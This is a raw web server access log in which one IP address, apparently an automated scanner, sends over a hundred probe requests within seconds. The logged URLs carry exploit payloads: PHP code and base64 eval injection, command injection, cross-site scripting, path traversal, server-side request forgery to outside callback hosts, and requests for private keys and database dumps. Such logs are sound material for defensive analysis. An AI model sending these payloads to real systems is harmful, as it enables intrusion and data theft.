[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docs/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webmail HTTP/1.1" 199
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/servlets/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/XUI/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?a=display&templateFile=README.md HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.1.json HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SplusServer/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-5.2/tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(31337)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/services/ HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/configs/sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /steve/manager/signin HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF'); HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?s=index/index/index HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/swagger-ui.js HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/known_hosts.old HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Account/Login HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.7z HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /privatekey.key HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph HTTP/1.1" 196
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/intranet/ HTTP/1.1" 226
[09/Jan/2026:10:54:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/..;/manager/html;/ HTTP/1.1" 226
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //xampp/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=/index/index/name/$%7B@phpinfo()%7D HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139:443/error.log HTTP/1.1" 199
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?s=captcha HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mobile/api/api.ali.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?f=\\[ HTTP/1.1" 3426
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/retrieve_pwd/header.inc.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meet/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_backup.sql HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/inc/get_contactlist.php?P=1&KWORD=%25&isuser_info=3 HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/document/index.php/recv/register/insert HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyBtZDUoOTk5OTk5OTk5KTs=%22)))%3B/*&id=19&module=Carouselimage HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ispirit/interface/gateway.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pinfo.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //r00t.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /desktopmodules/telerikwebui/radeditorprovider/telerik.web.ui.dialoghandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.gz HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927566571 HTTP/1.1" -
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.lz HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.rar HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://intranet/ HTTP/1.1" 226
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/src/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DI84updJ6HjEQM3JmJwPhfxf.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/userinfo.php?UID=1 HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spotfire/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login_check.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-ajax_services.php?controller=comment&action=list&type=wiki+page&objectId=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //build.sh HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elocker_old/storage/ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/logs/sendmail.log HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umbraco HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/Home/uploadify/fileList?type=.+&path=../../../ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139:443/errors.log HTTP/1.1" 199
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RServer/ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/constant-contact-api-old/vendor/constantcontact/constantcontact/test/Json/Auth/token_info.json HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tox.ini HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dbdump.sql HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/security.yml HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:110152/?1.png HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webmain?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Trace.axd HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /desktopmodules/dnnwerk.radeditorprovider/dialoghandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(31337)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpMyAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /responsiveUI/ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpversion.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/login_code.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mac/gateway.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/UI/Login HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=380DIDUsEqwHsJVWL8xxpKnYqVX&c=380DIDUsEqwHsJVWL8xxpKnYqVX&a=380DIDUsEqwHsJVWL8xxpKnYqVX&m=380DIDUsEqwHsJVWL8xxpKnYqVX HTTP/1.1" 3426
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/document/index.php/recv/register/insert HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.tugboat HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/ HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/forgetpswd.php?loginsys=1&loginname=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/install/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/snyk.yml HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umbraco/BackOffice/Api/Help/GetContextHelpForPage?section=content&tree=undefined&baseUrl=http://d5g6to2hausk1oj0j65g3adx1ejf8hec8.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ucmdb-ui/cms/loginRequest.do; HTTP/1.1" 196
[09/Jan/2026:10:54:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DI2c3CB2AE5QqK3p4m5NwSSv.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authenticate HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hui/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /radio/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //admin/pma/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //root.html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/bi_design/appcenter/report_bi.func.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ViewPoint/admin/Site/ViewPointLogin HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/jsp/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inc/package/work.php?id=../../../../../myoa/attach/approve_center/2601/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4 HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/token.json HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/file_folder/swfupload_new.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v2/keys/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27380DILsyoM9m1ZbrdNlGeqgjLvW%27%20%3E%20/var/www/html/config_application.txt%0a HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /register/?redirect_to=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search?search_key=%7B%7B1337*1338%7D%7D HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /templates/config/profmanage.php HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /transmission/web/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/host-manager/html HTTP/1.1" 226
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
